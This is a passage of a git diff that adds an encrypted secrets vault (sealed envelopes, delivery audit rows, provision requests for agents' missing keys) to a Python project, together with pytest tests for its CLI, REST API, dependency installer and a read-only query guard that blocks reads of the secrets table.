+ :func:`record_deliveries` only after the delivery side effect succeeds, so a failed
+ delivery never shows as delivered. This layer never decrypts.
+ """
+ out: dict[str, Sealed] = {}
+ for name in names:
+ row = _require_row(conn, name)
+ if row.get("protection") != "standard":
+ raise UnsupportedProtectionError(f"{name} is protected-tier (approval is P1)")
+ out[name] = Sealed(ciphertext=row["ciphertext"], nonce=row["nonce"], wrap_meta=row["wrap_meta"])
+ return out
+
+
+def record_deliveries(conn: Connection, names: list[str], *, requester: Any = None, mode: str | None = None) -> None:
+ """Bump usage + write a value-free ``delivered`` audit row per name.
+
+ Call this only AFTER the delivery action (child spawn / file write / stream) succeeds,
+ so the audit trail and usage counts never record a delivery that didn't happen.
+ """
+ for name in names:
+ conn.execute(
+ vault_secrets.update()
+ .where(vault_secrets.c.name == name)
+ .values(last_used_at=_now(), use_count=vault_secrets.c.use_count + 1)
+ )
+ audit(conn, "delivered", secret_name=name, requester=requester, delivery={"mode": mode})
+
+
+def create_provision_request(
+ conn: Connection,
+ name: str,
+ *,
+ reason: str | None = None,
+ skill: str | None = None,
+ requester: Any = None,
+ message_id: str | None = None,
+) -> dict[str, Any]:
+ """Record an agent's request for a missing secret (dynamic ask).
+
+ If the secret already exists, the request is born ``fulfilled`` — otherwise a
+ ``request --wait`` would block forever (a create for an existing name is rejected,
+ so nothing would ever flip a pending row).
+ """
+ request_id = _id("vrq")
+ now = _now()
+ already = conn.execute(select(vault_secrets.c.id).where(vault_secrets.c.name == name)).first() is not None
+ status = "fulfilled" if already else "pending"
+ conn.execute(
+ vault_requests.insert().values(
+ id=request_id,
+ request_type="provision",
+ secret_name=name,
+ requester=json.dumps(requester) if requester is not None else None,
+ delivery=json.dumps({"reason": reason, "skill": skill}) if (reason or skill) else None,
+ status=status,
+ message_id=message_id,
+ created_at=now,
+ decided_at=now if already else None,
+ )
+ )
+ audit(conn, "provision_requested", secret_name=name, requester=requester, request_id=request_id)
+ return {"id": request_id, "secret_name": name, "status": status, "created_at": now}
+
+
+def fulfill_provision(
+ conn: Connection,
+ request_id: str,
+ sealed: Sealed,
+ *,
+ preview: str = "",
+ group: str = DEFAULT_GROUP,
+ description: str | None = None,
+) -> dict[str, Any]:
+ """Store the caller-sealed value for a pending provision request."""
+ row = conn.execute(select(vault_requests).where(vault_requests.c.id == request_id)).mappings().first()
+ if row is None:
+ raise RequestNotFoundError(request_id)
+ meta = create_secret(
+ conn,
+ name=row["secret_name"],
+ sealed=sealed,
+ preview=preview,
+ group=group,
+ description=description,
+ )
+ conn.execute(
+ vault_requests.update()
+ .where(vault_requests.c.id == request_id)
+ .values(status="fulfilled", decided_at=_now())
+ )
+ return meta
+
+
+def list_audit(conn: Connection, *, secret_name: str | None = None, limit: int = 100) -> list[dict[str, Any]]:
+ query = select(vault_audit).order_by(vault_audit.c.ts.desc(), vault_audit.c.id.desc()).limit(limit)
+ if secret_name is not None:
+ query = query.where(vault_audit.c.secret_name == secret_name)
+ return [dict(row) for row in conn.execute(query).mappings()]
diff --git a/tests/test_local_deps.py b/tests/test_local_deps.py
index 1689becb8..af794b264 100644
--- a/tests/test_local_deps.py
+++ b/tests/test_local_deps.py
@@ -113,6 +113,91 @@ def test_askill_status_present_parses_version(monkeypatch):
assert s["installed"] and s["version"] == "0.1.13" and s["status"] == "ready"
+def test_install_avault_uses_existing_configured_binary(monkeypatch):
+ monkeypatch.setattr(api, "_configured_avault_cli_path", lambda: "/opt/avault/bin/avault")
+ monkeypatch.setattr(api, "resolve_cli_path", lambda b: "/opt/avault/bin/avault" if b == "/opt/avault/bin/avault" else None)
+
+ out = api.install_avault()
+
+ assert out["ok"] is True
+ assert out["path"] == "/opt/avault/bin/avault"
+
+
+def test_install_avault_missing_is_clear_stub_failure(monkeypatch):
+ monkeypatch.setattr(api, "_configured_avault_cli_path", lambda: "avault")
+ monkeypatch.setattr(api, "resolve_cli_path", lambda _b: None)
+
+ out = api.install_avault()
+
+ assert out["ok"] is False
+ assert "agents.avault.cli_path" in out["message"]
+
+
+def test_avault_resolves_path_fallback_when_configured_path_missing(monkeypatch):
+ seen = []
+
+ monkeypatch.setattr(api, "_configured_avault_cli_path", lambda: "/missing/avault")
+
+ def fake_resolve(binary):
+ seen.append(binary)
+ return "/usr/local/bin/avault" if binary == "avault" else None
+
+ monkeypatch.setattr(api, "resolve_cli_path", fake_resolve)
+
+ assert api._resolve_avault_cli_path() == "/usr/local/bin/avault"
+ assert seen == ["/missing/avault", "avault"]
+
+
+def test_ensure_avault_idempotent_when_present(monkeypatch):
+ monkeypatch.setattr(api, "_configured_avault_cli_path", lambda: "avault")
+ monkeypatch.setattr(api, "resolve_cli_path", lambda b: "/usr/local/bin/avault")
+ flag = {"installed": False}
+ monkeypatch.setattr(api, "install_avault", lambda: flag.__setitem__("installed", True) or {"ok": True})
+
+ out = api.ensure_avault_installed()
+
+ assert out == {"ok": True, "installed": True, "changed": False, "path": "/usr/local/bin/avault"}
+ assert flag["installed"] is False
+
+
+def test_ensure_avault_force_rechecks_existing_binary(monkeypatch):
+ monkeypatch.setattr(api, "_configured_avault_cli_path", lambda: "avault")
+ monkeypatch.setattr(api, "resolve_cli_path", lambda b: "/usr/local/bin/avault")
+ flag = {"installed": False}
+ monkeypatch.setattr(api, "install_avault", lambda: flag.__setitem__("installed", True) or {"ok": True})
+
+ out = api.ensure_avault_installed(force=True)
+
+ assert flag["installed"] is True
+ assert out["ok"] is True
+ assert out["installed"] is True
+ assert out["changed"] is False
+
+
+def test_avault_status_missing(monkeypatch):
+ monkeypatch.setattr(api, "_configured_avault_cli_path", lambda: "avault")
+ monkeypatch.setattr(api, "resolve_cli_path", lambda b: None)
+ s = api.avault_status()
+ assert s["id"] == "avault"
+ assert s["installed"] is False and s["status"] == "missing" and s["version"] is None
+
+
+def test_avault_status_present_parses_version(monkeypatch):
+ monkeypatch.setattr(api, "_configured_avault_cli_path", lambda: "avault")
+ monkeypatch.setattr(api, "resolve_cli_path", lambda b: "/x/avault")
+ monkeypatch.setattr(api, "_command_env_for", lambda p: {})
+ monkeypatch.setattr(api, "isolated_subprocess_kwargs", lambda: {})
+
+ class _R:
+ returncode = 0
+ stdout = "avault 0.0.1\n"
+ stderr = ""
+
+ monkeypatch.setattr(api.subprocess, "run", lambda *a, **k: _R())
+ s = api.avault_status()
+ assert s["installed"] and s["version"] == "0.0.1" and s["status"] == "ready"
+
+
def test_askill_update_status_compares_latest(monkeypatch):
monkeypatch.setattr(
api,
@@ -230,6 +315,11 @@ def test_dependencies_status_shape(monkeypatch):
"path": "/x",
},
)
+ monkeypatch.setattr(
+ api,
+ "avault_status",
+ lambda: {"id": "avault", "installed": True, "version": "0.0.1", "status": "ready", "path": "/x/avault"},
+ )
import core.show_runtime as srt_mod
class _Mgr:
@@ -240,9 +330,11 @@ def test_dependencies_status_shape(monkeypatch):
out = api.dependencies_status()
assert out["ok"]
by = {d["id"]: d for d in out["deps"]}
- assert list(by) == ["askill", "show-runtime", "node"]
+ assert list(by) == ["askill", "avault", "show-runtime", "node"]
assert by["askill"]["status"] == "ready" and by["askill"]["version"] == "0.1.13" and by["askill"]["required"]
assert by["askill"]["latest_version"] is None and by["askill"]["has_update"] is False
+ assert by["avault"]["status"] == "ready" and by["avault"]["version"] == "0.0.1" and by["avault"]["required"]
+ assert by["avault"]["latest_version"] is None and by["avault"]["has_update"] is False
assert by["show-runtime"]["installed"] and by["show-runtime"]["version"] == "1.4.0"
assert by["node"]["installed"] and by["node"]["version"] == "20.11"
@@ -254,6 +346,11 @@ def test_dependencies_status_node_unsupported_not_ready(monkeypatch):
"askill_update_status",
lambda **_: {"id": "askill", "installed": True, "version": "0.1.13", "status": "ready", "path": "/x"},
)
+ monkeypatch.setattr(
+ api,
+ "avault_status",
+ lambda: {"id": "avault", "installed": True, "version": "0.0.1", "status": "ready", "path": "/x/avault"},
+ )
import core.show_runtime as srt_mod
class _Mgr:
@@ -267,6 +364,7 @@ def test_dependencies_status_node_unsupported_not_ready(monkeypatch):
def test_reconcile_startup_dependencies_installs_askill_and_defers_runtime_prepare(monkeypatch):
askill_calls = []
+ avault_calls = []
def fake_ensure(force=False):
askill_calls.append(force)
@@ -274,6 +372,12 @@ def test_reconcile_startup_dependencies_installs_askill_and_defers_runtime_prepa
monkeypatch.setattr(api, "ensure_askill_installed", fake_ensure)
+ def fake_ensure_avault(force=False):
+ avault_calls.append(force)
+ return {"ok": True, "installed": True, "changed": False, "path": "/x/avault"}
+
+ monkeypatch.setattr(api, "ensure_avault_installed", fake_ensure_avault)
+
import core.show_runtime as srt_mod
class _Mgr:
@@ -300,6 +404,7 @@ def test_reconcile_startup_dependencies_installs_askill_and_defers_runtime_prepa
assert out["ok"] is True
assert askill_calls == [False]
+ assert avault_calls == [False]
assert manager.prepared == []
assert out["node"]["status"] == "ready"
assert out["show_runtime"] == {"ok": True, "status": "pending_prewarm", "reason": None}
@@ -307,6 +412,7 @@ def test_reconcile_startup_dependencies_installs_askill_and_defers_runtime_prepa
def test_reconcile_startup_dependencies_does_not_prepare_runtime_without_node(monkeypatch):
monkeypatch.setattr(api, "ensure_askill_installed", lambda force=False: {"ok": True, "installed": True})
+ monkeypatch.setattr(api, "ensure_avault_installed", lambda force=False: {"ok": True, "installed": True})
import core.show_runtime as srt_mod
@@ -329,6 +435,7 @@ def test_reconcile_startup_dependencies_does_not_prepare_runtime_without_node(mo
def test_reconcile_startup_dependencies_can_be_disabled(monkeypatch):
monkeypatch.setenv("VIBE_STARTUP_DEPENDENCY_RECONCILE", "0")
monkeypatch.setattr(api, "ensure_askill_installed", lambda force=False: pytest.fail("should not reconcile"))
+ monkeypatch.setattr(api, "ensure_avault_installed", lambda force=False: pytest.fail("should not reconcile"))
out = api.reconcile_startup_dependencies()
@@ -393,3 +500,25 @@ def test_start_dependency_install_job_runs_askill(monkeypatch):
_t.sleep(0.02)
assert flag["called"] is True
assert cur["status"] == "succeeded" and cur["ok"] is True
+
+
+def test_start_dependency_install_job_runs_avault(monkeypatch):
+ import time as _t
+
+ flag = {"called": False}
+
+ def fake_ensure(force=False):
+ flag["called"] = True
+ return {"ok": True, "installed": True, "changed": False, "path": "/x/avault"}
+
+ monkeypatch.setattr(api, "ensure_avault_installed", fake_ensure)
+ job = api.start_dependency_install_job("avault")
+ assert job["ok"] and job["backend"] == "avault" and job.get("job_id")
+ cur = job
+ for _ in range(100):
+ cur = api.get_agent_install_job(job["job_id"], backend="avault")
+ if cur.get("status") != "running":
+ break
+ _t.sleep(0.02)
+ assert flag["called"] is True
+ assert cur["status"] == "succeeded" and cur["ok"] is True
diff --git a/tests/test_read_only_query_vault_denylist.py b/tests/test_read_only_query_vault_denylist.py
new file mode 100644
index 000000000..9d2f3d5f3
--- /dev/null
+++ b/tests/test_read_only_query_vault_denylist.py
@@ -0,0 +1,41 @@
+"""``vibe data query`` must refuse to read ``vault_secrets`` while leaving the sibling
+vault tables (audit/requests/links/grants) queryable for inspection.
+"""
+
+from __future__ import annotations
+
+import sqlite3
+
+import pytest
+
+from storage.read_only_query import ReadOnlyQueryError, run_read_only_query
+
+
+def _make_db(tmp_path):
+ db = tmp_path / "vault_test.sqlite"
+ conn = sqlite3.connect(db)
+ conn.execute("create table vault_secrets (id text, name text, ciphertext text)")
+ conn.execute("insert into vault_secrets values ('1', 'OPENAI_API_KEY', 'ciphered')")
+ conn.execute("create table vault_audit (id text, event text)")
+ conn.execute("insert into vault_audit values ('a', 'created')")
+ conn.commit()
+ conn.close()
+ return db
+
+
+def test_select_vault_secrets_is_denied(tmp_path):
+ db = _make_db(tmp_path)
+ with pytest.raises(ReadOnlyQueryError):
+ run_read_only_query("select * from vault_secrets", page_request=None, db_path=db)
+
+
+def test_select_vault_secrets_column_is_denied(tmp_path):
+ db = _make_db(tmp_path)
+ with pytest.raises(ReadOnlyQueryError):
+ run_read_only_query("select name from vault_secrets", page_request=None, db_path=db)
+
+
+def test_sibling_vault_table_is_queryable(tmp_path):
+ db = _make_db(tmp_path)
+ result = run_read_only_query("select * from vault_audit", page_request=None, db_path=db)
+ assert [row["event"] for row in result.rows] == ["created"]
diff --git a/tests/test_reply_enhancer_secret_requests.py b/tests/test_reply_enhancer_secret_requests.py
new file mode 100644
index 000000000..a6a051d77
--- /dev/null
+++ b/tests/test_reply_enhancer_secret_requests.py
@@ -0,0 +1,41 @@
+"""`$<NAME>` dynamic-ask extraction in core/reply_enhancer.py (P0 commit 5)."""
+
+from __future__ import annotations
+
+from core.reply_enhancer import process_reply
+
+
+def _names(text: str) -> list[str]:
+ return [r.name for r in process_reply(text).secret_requests]
+
+
+def test_extracts_marker():
+ assert _names("I need $<OPENAI_API_KEY> to continue.") == ["OPENAI_API_KEY"]
+
+
+def test_marker_stays_in_text_for_frontend():
+ # The marker is NOT stripped — the web transcript renders it as a card.
+ reply = process_reply("Please provide $<STRIPE_KEY> now.")
+ assert "$<STRIPE_KEY>" in reply.text
+
+
+def test_dedupes_and_orders():
+ assert _names("$<A_KEY> then $<B_KEY> then $<A_KEY>") == ["A_KEY", "B_KEY"]
+
+
+def test_ignored_inside_inline_code():
+ assert _names("use `$<NOT_A_REQUEST>` in your script") == []
+
+
+def test_ignored_inside_fenced_code():
+ text = "Example:\n```\nvibe vault request $<NOT_REAL>\n```\nbut I need $<REAL_KEY>."
+ assert _names(text) == ["REAL_KEY"]
+
+
+def test_invalid_names_not_matched():
+ # lowercase, leading digit, dashes are not ENV-style names
+ assert _names("$<lower> $<1LEAD> $<has-dash>") == []
+
+
+def test_none_when_absent():
+ assert _names("just a normal reply with no markers") == []
diff --git a/tests/test_show_pages.py b/tests/test_show_pages.py
index 5f0db4a60..7547d32a9 100644
--- a/tests/test_show_pages.py
+++ b/tests/test_show_pages.py
@@ -40,11 +40,15 @@ def test_runtime_prepare_cli_reports_warning_only_failure(monkeypatch, capsys):
return {"ok": False, "reason": "runtime_node_missing"}
monkeypatch.setattr(cli, "_show_runtime_manager_from_args", lambda parsed: FakeRuntimeManager())
+ monkeypatch.setattr(cli, "_ensure_askill_during_prepare", lambda offline=False: {"ok": True, "installed": True})
+ monkeypatch.setattr(cli, "_ensure_avault_during_prepare", lambda offline=False: {"ok": True, "installed": True})
assert cli.cmd_runtime(args) == 0
payload = json.loads(capsys.readouterr().out)
assert payload["ok"] is False
assert payload["reason"] == "runtime_node_missing"
+ assert payload["askill"] == {"ok": True, "installed": True}
+ assert payload["avault"] == {"ok": True, "installed": True}
def test_runtime_prepare_cli_preserves_offline_environment(monkeypatch):
@@ -58,6 +62,8 @@ def test_runtime_prepare_cli_preserves_offline_environment(monkeypatch):
return {"ok": True}
monkeypatch.setattr(cli, "_show_runtime_manager_from_args", lambda parsed: FakeRuntimeManager())
+ monkeypatch.setattr(cli, "_ensure_askill_during_prepare", lambda offline=False: {"ok": True, "installed": True})
+ monkeypatch.setattr(cli, "_ensure_avault_during_prepare", lambda offline=False: {"ok": True, "installed": True})
assert cli.cmd_runtime(args) == 0
@@ -82,11 +88,41 @@ def test_runtime_prepare_cli_strict_fails_when_prepare_fails(monkeypatch, capsys
return {"ok": False, "reason": "runtime_archive_download_failed"}
monkeypatch.setattr(cli, "_show_runtime_manager_from_args", lambda parsed: FakeRuntimeManager())
+ monkeypatch.setattr(cli, "_ensure_askill_during_prepare", lambda offline=False: {"ok": True, "installed": True})
+ monkeypatch.setattr(cli, "_ensure_avault_during_prepare", lambda offline=False: {"ok": True, "installed": True})
assert cli.cmd_runtime(args) == 1
assert "runtime_archive_download_failed" in capsys.readouterr().err
+def test_runtime_prepare_cli_skips_avault_offline(monkeypatch, capsys):
+ parser = cli.build_parser()
+ args = parser.parse_args(["runtime", "prepare", "--offline", "--json"])
+ seen = {"askill": None, "avault": None}
+
+ class FakeRuntimeManager:
+ def prepare(self, *, force=False, offline=None):
+ assert offline is True
+ return {"ok": True}
+
+ def fake_askill(offline=False):
+ seen["askill"] = offline
+ return {"ok": True, "skipped": True, "reason": "offline"}
+
+ def fake_avault(offline=False):
+ seen["avault"] = offline
+ return {"ok": True, "skipped": True, "reason": "offline"}
+
+ monkeypatch.setattr(cli, "_show_runtime_manager_from_args", lambda parsed: FakeRuntimeManager())
+ monkeypatch.setattr(cli, "_ensure_askill_during_prepare", fake_askill)
+ monkeypatch.setattr(cli, "_ensure_avault_during_prepare", fake_avault)
+
+ assert cli.cmd_runtime(args) == 0
+ payload = json.loads(capsys.readouterr().out)
+ assert seen == {"askill": True, "avault": True}
+ assert payload["avault"] == {"ok": True, "skipped": True, "reason": "offline"}
+
+
def _save_config() -> V2Config:
config = V2Config(
mode="self_host",
diff --git a/tests/test_sqlite_state_migration.py b/tests/test_sqlite_state_migration.py
index d0e65ea76..965f0417c 100644
--- a/tests/test_sqlite_state_migration.py
+++ b/tests/test_sqlite_state_migration.py
@@ -16,7 +16,7 @@ from storage.models import metadata
from storage.settings_service import SQLiteSettingsService
-HEAD_REVISION = "20260622_0023"
+HEAD_REVISION = "20260621_0023"
def _index_sql(conn: sqlite3.Connection, name: str) -> str:
diff --git a/tests/test_vault_api.py b/tests/test_vault_api.py
new file mode 100644
index 000000000..7f1a12bc1
--- /dev/null
+++ b/tests/test_vault_api.py
@@ -0,0 +1,114 @@
+"""Tests for the vault REST wrappers in vibe/api.py.
+
+REST create delegates sealing to avault and stores only the returned envelope.
+"""
+
+from __future__ import annotations
+
+import json
+
+import pytest
+
+from storage import vault_service
+from storage.vault_crypto import Sealed
+from vibe import api
+
+
+def _sealed(suffix: str = "1") -> Sealed:
+ return Sealed(ciphertext=f"ct-{suffix}", nonce=f"n-{suffix}", wrap_meta=f"wm-{suffix}")
+
+
+def test_create_list_delete_roundtrip(monkeypatch):
+ from unittest.mock import Mock
+
+ seal = Mock(return_value=_sealed("api"))
+ monkeypatch.setattr(api, "avault_seal", seal)
+
+ created = api.create_vault_secret({"name": "OPENAI_API_KEY", "value": "sk-ant-abcd1234", "description": "key"})
+ assert created["ok"] is True
+ assert created["secret"]["name"] == "OPENAI_API_KEY"
+ assert created["secret"]["preview"] == "…1234"
+ assert "sk-ant-abcd1234" not in json.dumps(created)
+ seal.assert_called_once_with("OPENAI_API_KEY", b"sk-ant-abcd1234")
+ with api._vault_engine().connect() as conn:
+ assert vault_service.get_envelope(conn, "OPENAI_API_KEY") == _sealed("api")
+
+ listed = api.get_vault_secrets()
+ assert [s["name"] for s in listed["secrets"]] == ["OPENAI_API_KEY"]
+ assert "sk-ant-abcd1234" not in json.dumps(listed)
+
+ removed = api.delete_vault_secret("OPENAI_API_KEY")
+ assert removed == {"ok": True, "removed": True, "name": "OPENAI_API_KEY"}
+ assert api.get_vault_secrets()["secrets"] == []
+
+
+def test_create_with_policy_persists_allowed_hosts(monkeypatch):
+ from unittest.mock import Mock
+
+ monkeypatch.setattr(api, "avault_seal", Mock(return_value=_sealed()))
+ api.create_vault_secret(
+ {"name": "GH_PAT", "value": "ghp-x", "policy": {"allowed_hosts": ["api.github.com"], "auth": {"type": "bearer"}}}
+ )
+ secret = api.get_vault_secrets()["secrets"][0]
+ assert secret["policy"]["allowed_hosts"] == ["api.github.com"]
+
+
+def test_duplicate_name_conflict(monkeypatch):
+ from unittest.mock import Mock
+
+ monkeypatch.setattr(api, "avault_seal", Mock(return_value=_sealed()))
+ api.create_vault_secret({"name": "DUP", "value": "one"})
+ with pytest.raises(api.VaultApiError) as exc:
+ api.create_vault_secret({"name": "DUP", "value": "two"})
+ assert exc.value.code == "secret_exists"
+ assert exc.value.status == 409
+
+
+def test_invalid_name_rejected_before_avault(monkeypatch):
+ from unittest.mock import Mock
+
+ seal = Mock(return_value=_sealed())
+ monkeypatch.setattr(api, "avault_seal", seal)
+ with pytest.raises(api.VaultApiError) as exc:
+ api.create_vault_secret({"name": "lower", "value": "x"})
+ assert exc.value.code == "invalid_name"
+ seal.assert_not_called()
+
+
+def test_empty_value_rejected_before_avault(monkeypatch):
+ from unittest.mock import Mock
+
+ seal = Mock(return_value=_sealed())
+ monkeypatch.setattr(api, "avault_seal", seal)
+ with pytest.raises(api.VaultApiError) as exc:
+ api.create_vault_secret({"name": "EMPTY", "value": ""})
+ assert exc.value.code == "empty_value"
+ seal.assert_not_called()
+
+
+def test_avault_failure_maps_to_api_error(monkeypatch):
+ from unittest.mock import Mock
+
+ monkeypatch.setattr(api, "avault_seal", Mock(side_effect=api.AvaultError("seal failed")))
+ with pytest.raises(api.VaultApiError) as exc:
+ api.create_vault_secret({"name": "FAIL_KEY", "value": "x"})
+ assert exc.value.code == "avault_failed"
+
+
+def test_delete_missing_is_404():
+ with pytest.raises(api.VaultApiError) as exc:
+ api.delete_vault_secret("NOPE")
+ assert exc.value.code == "secret_not_found"
+ assert exc.value.status == 404
+
+
+def test_audit_lists_events_without_values(monkeypatch):
+ from unittest.mock import Mock
+
+ monkeypatch.setattr(api, "avault_seal", Mock(return_value=_sealed()))
+ api.create_vault_secret({"name": "AUD_KEY", "value": "supersecret-AUD"})
+ api.delete_vault_secret("AUD_KEY")
+ audit = api.get_vault_audit()
+ events = {e["event"] for e in audit["events"]}
+ assert {"created", "deleted"} <= events
+ assert "supersecret-AUD" not in json.dumps(audit)
diff --git a/tests/test_vault_cli.py b/tests/test_vault_cli.py
new file mode 100644
index 000000000..8db9e8a36
--- /dev/null
+++ b/tests/test_vault_cli.py
@@ -0,0 +1,288 @@
+"""CLI tests for ``vibe vault`` orchestration around the avault client.
+
+These tests mock avault: Avibe stores and routes envelopes, but never decrypts values.
+"""
+
+from __future__ import annotations
+
+import argparse
+import io
+import json
+from unittest.mock import Mock
+
+import pytest
+
+from storage import vault_service
+from storage.models import vault_audit
+from storage.vault_crypto import Sealed
+from vibe import cli
+
+
+def _ns(**kw):
+ base = dict(
+ name=None,
+ stdin=False,
+ from_file=None,
+ group=None,
+ tag=None,
+ description=None,
+ allow_host=None,
+ auth_header=None,
+ auth_query=None,
+ env=None,
+ command_argv=None,
+ reason=None,
+ skill=None,
+ wait=None,
+ no_wait=False,
+ json=False,
+ out=None,
+ file=None,
+ force=False,
+ )
+ base.update(kw)
+ return argparse.Namespace(**base)
+
+
+def _sealed(suffix: str = "1") -> Sealed:
+ return Sealed(ciphertext=f"ct-{suffix}", nonce=f"n-{suffix}", wrap_meta=f"wm-{suffix}")
+
+
+def _set_secret(name: str, value: str, tmp_path, monkeypatch, capfd, *, sealed: Sealed | None = None):
+ from vibe import api
+
+ vf = tmp_path / f"{name}.txt"
+ vf.write_text(value)
+ seal_mock = Mock(return_value=sealed or _sealed())
+ monkeypatch.setattr(api, "avault_seal", seal_mock)
+ assert cli.cmd_vault_set(_ns(name=name, from_file=str(vf))) == 0
+ capfd.readouterr()
+ return seal_mock
+
+
+ "specs,expected",
+ [
+ (["OPENAI_API_KEY"], {"OPENAI_API_KEY": "OPENAI_API_KEY"}),
+ (["LOCAL=VAULT_NAME"], {"LOCAL": "VAULT_NAME"}),
+ (["A,B"], {"A": "A", "B": "B"}),
+ (["A", "B=C"], {"A": "A", "B": "C"}),
+ ],
+)
+def test_parse_env_specs(specs, expected):
+ assert cli._parse_env_specs(specs) == expected
+
+
+def test_set_seals_with_avault_and_stores_preview(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ vf = tmp_path / "value.txt"
+ vf.write_text("sk-ant-abcd1234")
+ seal = Mock(return_value=_sealed("saved"))
+ monkeypatch.setattr(api, "avault_seal", seal)
+
+ assert cli.cmd_vault_set(_ns(name="OPENAI_API_KEY", from_file=str(vf), description="key")) == 0
+ payload = json.loads(capfd.readouterr().out)
+ secret = payload["secret"]
+ assert secret["name"] == "OPENAI_API_KEY"
+ assert secret["preview"] == "…1234"
+ assert "sk-ant-abcd1234" not in json.dumps(payload)
+ seal.assert_called_once_with("OPENAI_API_KEY", b"sk-ant-abcd1234")
+ with cli._open_vault_engine().connect() as conn:
+ assert vault_service.get_envelope(conn, "OPENAI_API_KEY") == _sealed("saved")
+
+
+def test_set_rejects_invalid_name_before_avault(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ vf = tmp_path / "v.txt"
+ vf.write_text("x")
+ seal = Mock(return_value=_sealed())
+ monkeypatch.setattr(api, "avault_seal", seal)
+
+ code = cli.cmd_vault_set(_ns(name="lower_bad", from_file=str(vf)))
+ captured = capfd.readouterr()
+ assert code == 1
+ assert json.loads(captured.err)["code"] == "invalid_name"
+ seal.assert_not_called()
+
+
+def test_set_requires_one_value_source(capfd):
+ code = cli.cmd_vault_set(_ns(name="NO_SOURCE"))
+ captured = capfd.readouterr()
+ assert code == 1
+ assert json.loads(captured.err)["code"] == "missing_value_source"
+
+
+def test_set_maps_avault_failure(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ vf = tmp_path / "v.txt"
+ vf.write_text("x")
+ monkeypatch.setattr(api, "avault_seal", Mock(side_effect=api.AvaultError("boom")))
+
+ code = cli.cmd_vault_set(_ns(name="FAIL_KEY", from_file=str(vf)))
+ captured = capfd.readouterr()
+ assert code == 1
+ assert json.loads(captured.err)["code"] == "avault_failed"
+
+
+def test_run_calls_avault_with_env_mapping_and_records_delivery(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set_secret("SRC_KEY", "secret-RUNVAL-42", tmp_path, monkeypatch, capfd, sealed=_sealed("run"))
+ deliver = Mock(return_value=0)
+ monkeypatch.setattr(api, "avault_deliver_run", deliver)
+
+ code = cli.cmd_vault_run(_ns(env=["LOCAL_NAME=SRC_KEY"], command_argv=["python3", "-c", "pass"]))
+ assert code == 0
+ deliver.assert_called_once_with(
+ [{"name": "SRC_KEY", "env": "LOCAL_NAME", "envelope": _sealed("run")}],
+ ["python3", "-c", "pass"],
+ )
+ cli.cmd_vault_list(_ns())
+ secret = json.loads(capfd.readouterr().out)["secrets"][0]
+ assert secret["use_count"] == 1
+ assert secret["last_used_at"] is not None
+
+
+def test_run_skips_delivery_audit_when_avault_returns_70(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set_secret("NODELIVER_KEY", "secret", tmp_path, monkeypatch, capfd)
+ monkeypatch.setattr(api, "avault_deliver_run", Mock(return_value=70))
+
+ assert cli.cmd_vault_run(_ns(env=["NODELIVER_KEY"], command_argv=["python3", "-c", "pass"])) == 70
+ cli.cmd_vault_list(_ns())
+ secret = json.loads(capfd.readouterr().out)["secrets"][0]
+ assert secret["use_count"] == 0
+
+
+def test_run_bad_command_does_not_call_avault_or_deliver(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set_secret("NODELIVER_KEY", "v", tmp_path, monkeypatch, capfd)
+ deliver = Mock(return_value=0)
+ monkeypatch.setattr(api, "avault_deliver_run", deliver)
+
+ code = cli.cmd_vault_run(_ns(env=["NODELIVER_KEY"], command_argv=["definitely-not-a-real-binary-xyz123"]))
+ captured = capfd.readouterr()
+ assert code == 1
+ assert json.loads(captured.err)["code"] == "command_not_found"
+ deliver.assert_not_called()
+ cli.cmd_vault_list(_ns())
+ assert json.loads(capfd.readouterr().out)["secrets"][0]["use_count"] == 0
+
+
+def test_run_missing_secret_is_clean_error(capfd):
+ code = cli.cmd_vault_run(_ns(env=["NOPE"], command_argv=["python3", "-c", "pass"]))
+ captured = capfd.readouterr()
+ assert code == 1
+ payload = json.loads(captured.err)
+ assert payload["ok"] is False
+ assert payload["code"] == "secret_not_found"
+
+
+def test_run_rejects_bad_env_name(capfd):
+ code = cli.cmd_vault_run(_ns(env=["BAD-NAME=KEY"], command_argv=["python3", "-c", "pass"]))
+ captured = capfd.readouterr()
+ assert code == 1
+ assert json.loads(captured.err)["code"] == "invalid_env_name"
+
+
+def test_export_is_deprecated_and_does_not_touch_db(capfd):
+ code = cli.cmd_vault_export(_ns(env=["OPENAI_API_KEY"]))
+ captured = capfd.readouterr()
+ assert code == 1
+ assert json.loads(captured.err)["code"] == "export_deprecated"
+ with cli._open_vault_engine().connect() as conn:
+ assert vault_service.list_secrets(conn) == []
+
+
+def test_request_creates_pending(capfd):
+ code = cli.cmd_vault_request(_ns(name="WANTED_KEY", reason="need it"))
+ captured = capfd.readouterr()
+ assert code == 0
+ payload = json.loads(captured.out)
+ assert payload["secret_name"] == "WANTED_KEY"
+ assert payload["status"] == "pending"
+ assert payload["request_id"].startswith("vrq_")
+
+
+def test_request_for_existing_secret_returns_fulfilled(tmp_path, capfd, monkeypatch):
+ _set_secret("HAVE_KEY", "v", tmp_path, monkeypatch, capfd)
+ assert cli.cmd_vault_request(_ns(name="HAVE_KEY", wait=30)) == 0
+ assert json.loads(capfd.readouterr().out)["status"] == "fulfilled"
+
+
+def test_from_file_preserves_trailing_newline(tmp_path):
+ vf = tmp_path / "key.pem"
+ vf.write_text("-----BEGIN-----\nabc\n-----END-----\n")
+ value = cli._read_secret_value(_ns(from_file=str(vf)), help_command="x")
+ assert value == "-----BEGIN-----\nabc\n-----END-----\n"
+
+
+def test_from_file_preserves_crlf(tmp_path):
+ vf = tmp_path / "win.pem"
+ vf.write_bytes(b"line1\r\nline2\r\n")
+ assert cli._read_secret_value(_ns(from_file=str(vf)), help_command="x") == "line1\r\nline2\r\n"
+
+
+def test_stdin_strips_only_one_trailing_newline(monkeypatch):
+ monkeypatch.setattr("sys.stdin", io.StringIO("tok\n"))
+ assert cli._read_secret_value(_ns(stdin=True), help_command="x") == "tok"
+ monkeypatch.setattr("sys.stdin", io.StringIO("tok\n\n"))
+ assert cli._read_secret_value(_ns(stdin=True), help_command="x") == "tok\n"
+
+
+def test_key_export_calls_avault_and_audits(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
